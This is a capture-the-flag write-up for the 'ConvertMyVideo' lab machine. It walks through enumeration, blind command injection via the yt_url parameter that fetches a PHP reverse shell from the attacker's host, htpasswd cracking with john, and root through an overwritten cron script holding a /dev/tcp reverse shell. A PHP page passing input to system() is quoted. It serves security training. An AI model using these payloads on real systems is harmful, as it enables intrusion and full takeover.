ConvertMyVideo

Web enumeration - Blind OS Injection - CronJob PrivEsc

Let’s start off with the Nmap scan

$ nmap -sC -sV -A 10.10.245.43
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-15 13:03 CEST
Nmap scan report for 10.10.245.43
Host is up (0.070s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 65:1b:fc:74:10:39:df:dd:d0:2d:f0:53:1c:eb:6d:ec (RSA)
|   256 c4:28:04:a5:c3:b9:6a:95:5a:4d:7a:6e:46:e2:14:db (ECDSA)
|_  256 ba:07:bb:cd:42:4a:f2:93:d1:05:d0:b3:4c:b1:d9:b1 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.87 seconds

There is no robots.txt file. Let’s start with a dirsearch scan

$ dirsearch.py -u 10.10.245.43 -E -w /data/src/wordlists/common.txt 

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, js, html, do, action | HTTP method: get | Threads: 10 | Wordlist size: 4614

Error Log: /data/src/dirsearch/logs/errors-20-06-15_13-05-01.log

Target: 10.10.245.43

[13:05:01] Starting: 
[13:05:02] 200 -  747B  - /
[13:05:02] 403 -  277B  - /.hta
[13:05:04] 401 -  459B  - /admin
[13:05:14] 301 -  313B  - /images  ->  http://10.10.245.43/images/
[13:05:15] 200 -  747B  - /index.php
[13:05:15] 301 -  309B  - /js  ->  http://10.10.245.43/js/
[13:05:23] 403 -  277B  - /server-status
[13:05:25] 301 -  310B  - /tmp  ->  http://10.10.245.43/tmp/

The /admin directory seems to be interesting, But before that let's have a look at the web page's source code
The web page has no form tag but includes the jquery library as well as a custom main.js javascript

$ curl -s http://10.10.161.26/

<html>
   <head>
      <script type="text/javascript" src="/js/jquery-3.5.0.min.js"></script>
      <script type="text/javascript" src="/js/main.js"></script>
      <link rel="stylesheet" type="text/css" href="/style.css">
   </head>
   <body>
      <div id="container">
         <div id="logos">
            <img src="images/youtube.png" alt="Youtube to MP3" height="200" width="200" />
            <img src="images/mp3-file.png" alt="Youtube to MP3" height="200" width="200" />
         </div>
         <h3>Convert My Video</h3>
         <label for="ytid">Video ID:</label><input type="text" id="ytid" name="ytid">
         <button type="button" id="convert">Convert!</button>
         <span id="message"></span>
      </div>
   </body>
</html>

Let's visit the /js/main.js - the script reveals what happens when the Convert! button is pressed

$(function () {
    $("#convert").click(function () {
        $("#message").html("Converting...");
        $.post("/", { yt_url: "https://www.youtube.com/watch?v=" + $("#ytid").val() }, function (data) {
            try {
                data = JSON.parse(data);
                if(data.status == "0"){
                    $("#message").html("<a href='" + data.result_url + "'>Download MP3</a>");
                }
                else{
                    console.log(data);
                    $("#message").html("Oops! something went wrong");
                }
            } catch (error) {
                console.log(data);
                $("#message").html("Oops! something went wrong");
            }
        });
    });

We can see that the youtube ID (user input) is concatenated to https://www.youtube.com/watch?v= to get the full Youtube URL of the requested video
The result is saved to yt_url and passed to the main page in JSON
As the server has no access to the Internet, it will fail after the request timeout
So based on all this, let’s try to inject some commands in the yt_url parameter using Burp

${IFS} is used for spaces

Now, let’s use this to inject a PHP reverse shell

yt_url=`wget${IFS}http://10.8.50.72:8000/shell.php`

The response was

HTTP/1.1 200 OK
Date: Mon, 15 Jun 2020 15:34:42 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 830
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":2,"errors":"--2020-06-15 15:34:42--  http:\/\/10.8.50.72:8000\/shell.php\nConnecting to 10.8.50.72:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 5492 (5.4K) [application\/octet-stream]\nSaving to: 'shell.php'\n\n     0K .....                                                 100%  136K=0.04s\n\n2020-06-15 15:34:42 (136 KB\/s) - 'shell.php' saved [5492\/5492]\n\nWARNING: Assuming --restrict-filenames since file system encoding cannot encode all characters. Set the LC_ALL environment variable to fix this.\nUsage: youtube-dl [OPTIONS] URL [URL...]\n\nyoutube-dl: error: You must provide at least one URL.\nType youtube-dl --help to see a list of all options.\n","url_orginal":"`wget${IFS}http:\/\/10.8.50.72:8000\/shell.php`","output":"","result_url":"\/tmp\/downloads\/5ee7951264f4c.mp3"}

Open a listener on your machine and access the shell via your browser

http://10.10.161.26/shell.php

Privilege Escalation

We get a reverse shell and we are logged in as www user

$ cd /var/www/html/admin/
$ ll
total 24
drwxr-xr-x 2 www-data www-data 4096 Apr 12 05:05 .
drwxr-xr-x 6 www-data www-data 4096 Jun 15 15:34 ..
-rw-r--r-- 1 www-data www-data   98 Apr 12 03:55 .htaccess
-rw-r--r-- 1 www-data www-data   49 Apr 12 04:02 .htpasswd
-rw-r--r-- 1 www-data www-data   39 Apr 12 05:05 flag.txt
-rw-rw-r-- 1 www-data www-data  202 Apr 12 04:18 index.php
$ cat .htpasswd
itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y/

Let's crack the password with john

Proceeding with wordlist:/data/src/john/run/password.lst
jessie           (itsmeadmin)
1g 0:00:00:00 DONE 2/3 (2020-06-15 17:56) 5.000g/s 12270p/s 12270c/s 12270C/s bigdog..keeper
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Let’s upgrade our shell

$ SHELL=/bin/bash script -q /dev/null
www-data@dmv:/$

In the admin directory, the index.php reveals a link to execute a command? Oh…. seriously? Was it actually the expected way of getting our initial shell instead of hacking the web service?
I don’t know as it would also require to have the itsmeadmin account and password.
Anyway, very interesting point, the default command (rm -rf /var/www/html/tmp/downloads) removes the directory downloads in /tmp

www-data@dmv:/var/www/html/tmp$ cat /var/www/html/admin/index.php
<?php
  if (isset($_REQUEST['c'])) {
      system($_REQUEST['c']);
      echo "Done :)";
  }
?>
<a href="/admin/?c=rm -rf /var/www/html/tmp/downloads">
   <button>Clean Downloads</button>

Now, in tmp, there is a clean.sh script that does the same thing - definitely gives us a hint as a cronjob

www-data@dmv:/var/www/html/tmp$ cat clean.sh
rm -rf downloads

As we have write access to the script, let’s replace the content with a reverse shell

www-data@dmv:/var/www/html/tmp$ echo "bash -i >& /dev/tcp/10.8.50.72/5555 0>&1" > clean.sh

Thought this would be a lateral movement to the other user called dmv but unfortunately got r00t

root@dmv:/var/www/html/tmp# cd /root
root@dmv:~# whoami
root

PreviousTomghost NextDogCat

Last updated 2 years ago

$ nmap -sC -sV -A 10.10.245.43 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-15 13:03 CEST Nmap scan report for 10.10.245.43 Host is up (0.070s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 65:1b:fc:74:10:39:df:dd:d0:2d:f0:53:1c:eb:6d:ec (RSA) | 256 c4:28:04:a5:c3:b9:6a:95:5a:4d:7a:6e:46:e2:14:db (ECDSA) |_ 256 ba:07:bb:cd:42:4a:f2:93:d1:05:d0:b3:4c:b1:d9:b1 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.87 seconds

$ dirsearch.py -u 10.10.245.43 -E -w /data/src/wordlists/common.txt _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: php, asp, aspx, jsp, js, html, do, action | HTTP method: get | Threads: 10 | Wordlist size: 4614 Error Log: /data/src/dirsearch/logs/errors-20-06-15_13-05-01.log Target: 10.10.245.43 [13:05:01] Starting: [13:05:02] 200 - 747B - / [13:05:02] 403 - 277B - /.hta [13:05:04] 401 - 459B - /admin [13:05:14] 301 - 313B - /images -> http://10.10.245.43/images/ [13:05:15] 200 - 747B - /index.php [13:05:15] 301 - 309B - /js -> http://10.10.245.43/js/ [13:05:23] 403 - 277B - /server-status [13:05:25] 301 - 310B - /tmp -> http://10.10.245.43/tmp/

$ curl -s http://10.10.161.26/ <html> <head> <script type="text/javascript" src="/js/jquery-3.5.0.min.js"></script> <script type="text/javascript" src="/js/main.js"></script> <link rel="stylesheet" type="text/css" href="/style.css"> </head> <body> <div id="container"> <div id="logos"> <img src="images/youtube.png" alt="Youtube to MP3" height="200" width="200" /> <img src="images/mp3-file.png" alt="Youtube to MP3" height="200" width="200" /> </div> <h3>Convert My Video</h3> <label for="ytid">Video ID:</label><input type="text" id="ytid" name="ytid"> <button type="button" id="convert">Convert!</button> <span id="message"></span> </div> </body> </html>

$(function () { $("#convert").click(function () { $("#message").html("Converting..."); $.post("/", { yt_url: "https://www.youtube.com/watch?v=" + $("#ytid").val() }, function (data) { try { data = JSON.parse(data); if(data.status == "0"){ $("#message").html("<a href='" + data.result_url + "'>Download MP3</a>"); } else{ console.log(data); $("#message").html("Oops! something went wrong"); } } catch (error) { console.log(data); $("#message").html("Oops! something went wrong"); } }); });

HTTP/1.1 200 OK Date: Mon, 15 Jun 2020 15:34:42 GMT Server: Apache/2.4.29 (Ubuntu) Vary: Accept-Encoding Content-Length: 830 Connection: close Content-Type: text/html; charset=UTF-8 {"status":2,"errors":"--2020-06-15 15:34:42-- http:\/\/10.8.50.72:8000\/shell.php\nConnecting to 10.8.50.72:8000... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 5492 (5.4K) [application\/octet-stream]\nSaving to: 'shell.php'\n\n 0K ..... 100% 136K=0.04s\n\n2020-06-15 15:34:42 (136 KB\/s) - 'shell.php' saved [5492\/5492]\n\nWARNING: Assuming --restrict-filenames since file system encoding cannot encode all characters. Set the LC_ALL environment variable to fix this.\nUsage: youtube-dl [OPTIONS] URL [URL...]\n\nyoutube-dl: error: You must provide at least one URL.\nType youtube-dl --help to see a list of all options.\n","url_orginal":"`wget${IFS}http:\/\/10.8.50.72:8000\/shell.php`","output":"","result_url":"\/tmp\/downloads\/5ee7951264f4c.mp3"}

$ cd /var/www/html/admin/ $ ll total 24 drwxr-xr-x 2 www-data www-data 4096 Apr 12 05:05 . drwxr-xr-x 6 www-data www-data 4096 Jun 15 15:34 .. -rw-r--r-- 1 www-data www-data 98 Apr 12 03:55 .htaccess -rw-r--r-- 1 www-data www-data 49 Apr 12 04:02 .htpasswd -rw-r--r-- 1 www-data www-data 39 Apr 12 05:05 flag.txt -rw-rw-r-- 1 www-data www-data 202 Apr 12 04:18 index.php $ cat .htpasswd itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y/

Proceeding with wordlist:/data/src/john/run/password.lst jessie (itsmeadmin) 1g 0:00:00:00 DONE 2/3 (2020-06-15 17:56) 5.000g/s 12270p/s 12270c/s 12270C/s bigdog..keeper Use the "--show" option to display all of the cracked passwords reliably Session completed.

www-data@dmv:/var/www/html/tmp$ cat /var/www/html/admin/index.php <?php if (isset($_REQUEST['c'])) { system($_REQUEST['c']); echo "Done :)"; } ?> <a href="/admin/?c=rm -rf /var/www/html/tmp/downloads"> <button>Clean Downloads</button>